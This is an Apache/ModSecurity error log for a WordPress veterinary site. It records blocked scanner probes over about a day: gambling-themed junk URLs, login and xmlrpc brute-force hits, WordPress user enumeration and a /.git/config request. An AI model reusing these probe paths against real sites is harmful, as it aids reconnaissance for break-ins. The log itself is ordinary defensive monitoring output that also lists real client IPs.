[Thu May 07 15:11:44.942067 2026] [:error] [pid 28098:tid 28120] [client 51.83.9.92:58534] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afw7MMvhwfljlt8trSqC4gAAAFQ"]
[Thu May 07 15:11:47.317713 2026] [:error] [pid 15715:tid 15718] [client 51.83.9.92:58546] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afw7MyY4dZsLOttMkcdaLwAAAQE"]
[Thu May 07 15:11:49.742068 2026] [:error] [pid 15715:tid 15736] [client 51.83.9.92:58556] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afw7NSY4dZsLOttMkcdaNAAAARA"]
[Thu May 07 15:11:52.137284 2026] [:error] [pid 15629:tid 15639] [client 51.83.9.92:34430] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afw7OPrIJCALdUrO43lVQwAAAAY"]
[Thu May 07 15:11:54.545497 2026] [:error] [pid 15629:tid 15654] [client 51.83.9.92:34434] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afw7OvrIJCALdUrO43lVRgAAABU"]
[Thu May 07 15:11:57.075782 2026] [:error] [pid 28098:tid 28122] [client 51.83.9.92:34440] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afw7Pcvhwfljlt8trSqDFAAAAFY"]
[Thu May 07 15:11:59.630340 2026] [:error] [pid 15630:tid 15661] [client 51.83.9.92:34446] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "afw7P3TithRAi4821quNSQAAAIE"]
[Thu May 07 15:12:01.983685 2026] [:error] [pid 15715:tid 15742] [client 51.83.9.92:33744] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "afw7QSY4dZsLOttMkcdaawAAARY"]
[Thu May 07 15:12:04.371463 2026] [:error] [pid 28098:tid 28109] [client 51.83.9.92:33750] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "afw7RMvhwfljlt8trSqDPwAAAEk"]
[Thu May 07 15:12:06.915612 2026] [:error] [pid 28098:tid 28121] [client 51.83.9.92:33764] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "afw7Rsvhwfljlt8trSqDRQAAAFU"]
[Thu May 07 15:12:09.320569 2026] [:error] [pid 28098:tid 28104] [client 51.83.9.92:33768] [client 51.83.9.92] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "afw7Scvhwfljlt8trSqDSgAAAEQ"]
[Thu May 07 15:14:23.211249 2026] [:error] [pid 15715:tid 15744] [client 159.223.103.141:46744] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.223.103.141, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afw7zyY4dZsLOttMkcdbQAAAARg"]
[Thu May 07 17:07:03.332650 2026] [:error] [pid 15629:tid 15644] [client 43.153.74.75:39094] [client 43.153.74.75] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "afxWN_rIJCALdUrO43lkGAAAAAs"]
[Thu May 07 17:33:44.338172 2026] [:error] [pid 15629:tid 15636] [client 146.56.199.139:39090] [client 146.56.199.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afxcePrIJCALdUrO43lmeAAAAAM"]
[Thu May 07 20:04:34.430437 2026] [:error] [pid 28098:tid 28104] [client 43.157.149.188:48840] [client 43.157.149.188] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afx_0svhwfljlt8trSrrOQAAAEQ"]
[Thu May 07 21:09:52.834651 2026] [:error] [pid 28098:tid 28105] [client 188.165.255.23:42882] [client 188.165.255.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.165.255.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afyPIMvhwfljlt8trSoCOgAAAEU"]
[Thu May 07 23:03:55.695319 2026] [:error] [pid 28098:tid 28108] [client 82.223.83.78:57420] [client 82.223.83.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.223.83.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afyp28vhwfljlt8trSow4wAAAEg"]
[Thu May 07 23:18:23.355384 2026] [:error] [pid 15630:tid 15681] [client 158.173.67.219:52205] [client 158.173.67.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/install.php"] [unique_id "afytP3TithRAi4821qvVVQAAAJU"]
[Thu May 07 23:21:57.865172 2026] [:error] [pid 15630:tid 15678] [client 173.214.162.14:39544] [client 173.214.162.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.214.162.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afyuFXTithRAi4821qvVywAAAJI"]
[Thu May 07 23:58:55.934766 2026] [:error] [pid 15715:tid 15741] [client 35.202.104.16:55437] [client 35.202.104.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.104.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy2vyY4dZsLOttMkcfgIQAAARU"]
[Thu May 07 23:58:59.080941 2026] [:error] [pid 15715:tid 15735] [client 35.202.104.16:55437] [client 35.202.104.16] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "afy2wyY4dZsLOttMkcfgLAAAAQ8"]
[Thu May 07 23:58:59.275216 2026] [:error] [pid 15715:tid 15726] [client 35.202.104.16:55437] [client 35.202.104.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.104.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy2wyY4dZsLOttMkcfgLQAAAQk"]
[Thu May 07 23:59:01.143681 2026] [:error] [pid 28098:tid 28118] [client 35.202.104.16:60862] [client 35.202.104.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.104.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy2xcvhwfljlt8trSo5KAAAAFI"]
[Thu May 07 23:59:03.068871 2026] [:error] [pid 15715:tid 15721] [client 35.202.104.16:62030] [client 35.202.104.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.202.104.16, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy2xyY4dZsLOttMkcfgNgAAAQQ"]
[Thu May 07 23:59:03.069023 2026] [:error] [pid 15715:tid 15721] [client 35.202.104.16:62030] [client 35.202.104.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.202.104.16, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy2xyY4dZsLOttMkcfgNgAAAQQ"]
[Fri May 08 00:01:36.551528 2026] [:error] [pid 15629:tid 15650] [client 34.61.173.64:49982] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3YPrIJCALdUrO43mYRwAAABE"]
[Fri May 08 00:01:40.078759 2026] [:error] [pid 15629:tid 15657] [client 34.61.173.64:49982] [client 34.61.173.64] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "afy3ZPrIJCALdUrO43mYTAAAABg"]
[Fri May 08 00:01:40.317211 2026] [:error] [pid 15629:tid 15641] [client 34.61.173.64:49982] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3ZPrIJCALdUrO43mYTQAAAAg"]
[Fri May 08 00:01:42.477381 2026] [:error] [pid 15631:tid 15693] [client 34.61.173.64:57793] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3ZnvP1GkPUuuLfqVqXgAAAMY"]
[Fri May 08 00:01:44.380309 2026] [:error] [pid 15715:tid 15721] [client 34.61.173.64:57875] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3aCY4dZsLOttMkcfhGgAAAQQ"]
[Fri May 08 00:01:46.217482 2026] [:error] [pid 12323:tid 12350] [client 34.61.173.64:58066] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3atdhHMnGFpc7MDxBzgAAAVc"]
[Fri May 08 00:01:47.970319 2026] [:error] [pid 15629:tid 15638] [client 34.61.173.64:59306] [client 34.61.173.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.61.173.64, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3a_rIJCALdUrO43mYVgAAAAU"]
[Fri May 08 00:01:47.970448 2026] [:error] [pid 15629:tid 15638] [client 34.61.173.64:59306] [client 34.61.173.64] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.61.173.64, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afy3a_rIJCALdUrO43mYVgAAAAU"]
[Fri May 08 02:46:57.000158 2026] [:error] [pid 15629:tid 15633] [client 45.91.23.5:38573] [client 45.91.23.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.91.23.5, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "afzeIPrIJCALdUrO43msewAAAAA"], referer: https://vetstars.com.au/
[Fri May 08 03:19:19.908576 2026] [autoindex:error] [pid 12323:tid 12340] [client 141.98.11.120:61667] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 08 03:50:31.865081 2026] [:error] [pid 51113:tid 51124] [client 43.156.202.34:43688] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "afztB0Qfs7sWtqkpQIfT0wAAAMk"]
[Fri May 08 04:30:42.997984 2026] [:error] [pid 51113:tid 51124] [client 188.165.255.23:37570] [client 188.165.255.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.165.255.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afz2ckQfs7sWtqkpQIfmgwAAAMk"]
[Fri May 08 04:43:18.462659 2026] [:error] [pid 51113:tid 51124] [client 89.163.159.173:38724] [client 89.163.159.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.163.159.173, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "afz5ZkQfs7sWtqkpQIftTAAAAMk"]
[Fri May 08 05:31:48.864019 2026] [:error] [pid 34318:tid 34331] [client 34.165.116.3:55908] [client 34.165.116.3] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "af0ExMr3guirgJiKhzBNgQAAAQs"]
[Fri May 08 05:34:21.287322 2026] [:error] [pid 34318:tid 34333] [client 74.7.241.36:46964] [client 74.7.241.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.241.36, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "af0FXcr3guirgJiKhzBQJAAAAQ0"], referer: https://vetstars.com.au/
[Fri May 08 07:33:20.091794 2026] [:error] [pid 51008:tid 51068] [client 167.71.223.197:49996] [client 167.71.223.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.71.223.197, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af0hQHB58C2Y1tgLtuIswAAAAFM"]
[Fri May 08 07:58:00.878992 2026] [:error] [pid 51113:tid 51120] [client 217.182.139.33:52174] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "af0nCEQfs7sWtqkpQIc3xwAAAMU"]
[Fri May 08 07:58:03.311990 2026] [:error] [pid 61355:tid 61369] [client 217.182.139.33:54958] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "af0nC_khJTi30CBXmMnZTQAAAYg"]
[Fri May 08 07:58:05.801973 2026] [:error] [pid 51009:tid 51076] [client 217.182.139.33:38916] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "af0nDeB0GbUWhxgzX9W5nAAAAIA"]
[Fri May 08 07:58:08.337008 2026] [:error] [pid 61317:tid 61329] [client 217.182.139.33:38920] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "af0nEM-fFk_CedOCOYtAigAAAUk"]
[Fri May 08 07:58:10.833917 2026] [:error] [pid 51007:tid 51030] [client 217.182.139.33:38924] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "af0nElMagSGstWKyzzWSdAAAAAg"]
[Fri May 08 07:58:13.350498 2026] [:error] [pid 51007:tid 51046] [client 217.182.139.33:38938] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "af0nFVMagSGstWKyzzWSdgAAABg"]
[Fri May 08 07:58:15.853336 2026] [:error] [pid 51008:tid 51070] [client 217.182.139.33:38654] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "af0nF3B58C2Y1tgLtuIxJAAAAFU"]
[Fri May 08 07:58:18.347852 2026] [:error] [pid 61355:tid 61383] [client 217.182.139.33:38666] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "af0nGvkhJTi30CBXmMnZVwAAAZY"]
[Fri May 08 07:58:20.723513 2026] [:error] [pid 61355:tid 61361] [client 217.182.139.33:38680] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af0nHPkhJTi30CBXmMnZXwAAAYA"]
[Fri May 08 07:58:23.228155 2026] [:error] [pid 61355:tid 61383] [client 217.182.139.33:38684] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af0nH_khJTi30CBXmMnZZAAAAZY"]
[Fri May 08 07:58:25.714809 2026] [:error] [pid 61356:tid 61403] [client 217.182.139.33:52862] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "af0nIYx3vpB8oWhUq2OVEAAAAc8"]
[Fri May 08 07:58:28.225530 2026] [:error] [pid 61356:tid 61393] [client 217.182.139.33:52876] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "af0nJIx3vpB8oWhUq2OVGQAAAcU"]
[Fri May 08 07:58:30.723883 2026] [:error] [pid 61356:tid 61404] [client 217.182.139.33:52878] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "af0nJox3vpB8oWhUq2OVLgAAAdA"]
[Fri May 08 07:58:33.224861 2026] [:error] [pid 51007:tid 51033] [client 217.182.139.33:52886] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "af0nKVMagSGstWKyzzWSjwAAAAs"]
